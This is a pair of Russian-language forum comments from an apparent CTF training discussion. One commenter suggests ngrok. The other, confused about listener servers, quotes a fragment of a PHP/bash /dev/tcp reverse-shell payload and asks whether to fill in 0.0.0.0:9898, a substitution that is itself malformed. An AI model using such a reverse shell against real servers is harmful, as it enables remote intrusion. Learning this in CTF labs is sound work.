Да, как это уже сказал vov4ick, в данной статье не описывается настройка своего сервера, который бы принял соединение от веб-сервера. Попробуйте найти в Интернете, что такое ngrok, думаю Вам это поможет.
Если найдете свободное время, будьте добры объясните подробней про свой сервер и в какую часть скрипта вписывать ip port. У меня имеется VDS я через него VPN поднял, также использовал его в задании из категории Quest которое рассматривается в Обучении CTF. Я путаюсь - слишком много серверов XD. ProxyFoxy это же тоже прокси сервер который мы используем в Burp для перехвата, python3 -m http.server 9898 (тоже сервер) ну и мой VDS тоже сервер.
Про скрипт & /dev/tcp/IP/port 0>&1'"); ?> ---> & /dev/tcp/0.0.0.0:9898 0>&1'"); ?> верно ли я понял?